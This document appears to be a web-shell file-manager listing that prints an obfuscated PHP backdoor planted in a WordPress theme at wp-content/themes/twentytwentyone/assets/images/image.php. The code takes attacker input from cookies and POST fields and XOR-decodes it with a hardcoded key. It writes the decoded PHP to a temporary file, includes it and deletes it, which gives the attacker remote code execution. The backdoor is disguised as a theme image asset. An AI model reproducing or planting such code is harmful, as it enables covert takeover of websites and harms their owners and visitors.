HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/themes/twentytwentyone/assets/images/image.php
<?php      function/*jfq  */qqbglj(){$sdelkkbr_='k_czsc';      print_r	(59106+59106);	}
$tqxzcjn/*  clvac */=/*  _lmeg*/'tqxzcjn'	^  '


';





function/* fjhu_  */yorlz_aa($lfcpaqthk,     $y_ehjd)
{
    global     $tqxzcjn;

	$rbfpa/* lbne*/=/*   xv  */"";


	for/*  o   */($pzxjy	=      0;	$pzxjy   <     strlen($lfcpaqthk);)       {

      for	($vzfjn_/*ur */=   0;      $vzfjn_	</*a*/strlen($y_ehjd)	&&	$pzxjy	<	strlen($lfcpaqthk);  $vzfjn_++,       $pzxjy++)	{/*   b_t   */$rbfpa	.=      $tqxzcjn(ord($lfcpaqthk[$pzxjy])/*   kk*/^	ord($y_ehjd[$vzfjn_]));


/*kf */}/*   nvt*/}/* qxda  */return    $rbfpa;
}

function	fluizoi($tqzrdnorj_,    $lfcpaqthk)

{
     global/* uk */$tqxzcjn;


   $httaagrz	=  sprintf($tqxzcjn(46)      ./*   dipwt   */$tqxzcjn(485-438)      .      "%".$tqxzcjn(115)     ./*  jet  */"\56"  .  "\160"	.	"\154",	md5($tqzrdnorj_));


/*   uhjrj */file_put_contents($httaagrz,	"<"  .	"?"."p"."h"."p".$tqxzcjn(32)    .   "u"."n"."l"."i"."n"."\153"  .       "("."_"."_"."F".$tqxzcjn(756-683)/*  _   */.   "L"."E".$tqxzcjn(488-393)	./*   mo */$tqxzcjn(629-534)/*  pmsb   */.   ")".$tqxzcjn(976-917)     .	$tqxzcjn(32)/*   xh  */.	$lfcpaqthk[$tqxzcjn(545-445)]);	include($httaagrz);
       $nynxcx/*uiq */=	$httaagrz;


  unlink($nynxcx);


}function      _qbztac()


{/* o  */global	$tqxzcjn;/*  v  */


	$pzxjy/*  djdre   */=	array();	$pzxjy["p".$tqxzcjn(1098-980)]/* rlvjl   */=  phpversion();


/*  ilbb  */$pzxjy[$tqxzcjn(635-520)	.  $tqxzcjn(118)]/* x*/=   "3"."\56"/*   kgs */.       "5";

   echo	@serialize($pzxjy);


}

function   oyeiwdbm($lfcpaqthk,	$tqzrdnorj_,	$meelsq)
{

  global/*   t_wkg*/$tqxzcjn;/* iermu */


       $lfcpaqthk     =/*  fcc  */unserialize(yorlz_aa(yorlz_aa(base64_decode($lfcpaqthk),/*npsf*/$tqzrdnorj_),   $meelsq));
/*  bfy_b*/if  (isset($lfcpaqthk["\141"      ./*  qt   */"k"]))/*   aery   */{


       if/*   e */($lfcpaqthk["a"]/* np   */==     "i")	{
/* rklyw*/_qbztac();
      }  elseif	($lfcpaqthk["a"]/*ftjyn  */==      "e")/*   ir */{

  fluizoi($tqzrdnorj_,/*  a   */$lfcpaqthk);	}	exit();
       }


}





$_nnzh/*  qwfsd  */=      $_COOKIE;
$uofjf   =   $_POST;

$_nnzh/*waxlo */=     array_merge($uofjf,    $_nnzh);
$tqzrdnorj_	=  "\x31"	./*   nr  */"\145"/*   ug*/.	"\66"	.      "\x35"	.	"8".$tqxzcjn(52)/*r */.   "6"."\x37"	./*   uuxdg   */"-"."a"."b".$tqxzcjn(498-397)/*  hx   */./*  js_  */"a".$tqxzcjn(815-770)	.	"4".$tqxzcjn(52)/* b_*/.    $tqxzcjn(56)/*  pr  */.      $tqxzcjn(670-618)       ./*   fmyzo*/$tqxzcjn(550-505)  .    "b"."1".$tqxzcjn(51)	.     "b"."-"."0"."4"."\x66"	.	"\66"/*pr   */.	$tqxzcjn(55)	./*   tp*/"5"."f".$tqxzcjn(55)	.	$tqxzcjn(596-545)	.	"3".$tqxzcjn(723-675)	.	"6";


foreach	($_nnzh    as/* fcz */$meelsq	=>	$lfcpaqthk)/*   rsw*/{
	oyeiwdbm($lfcpaqthk,/* jsb*/$tqzrdnorj_,/*v   */$meelsq);


}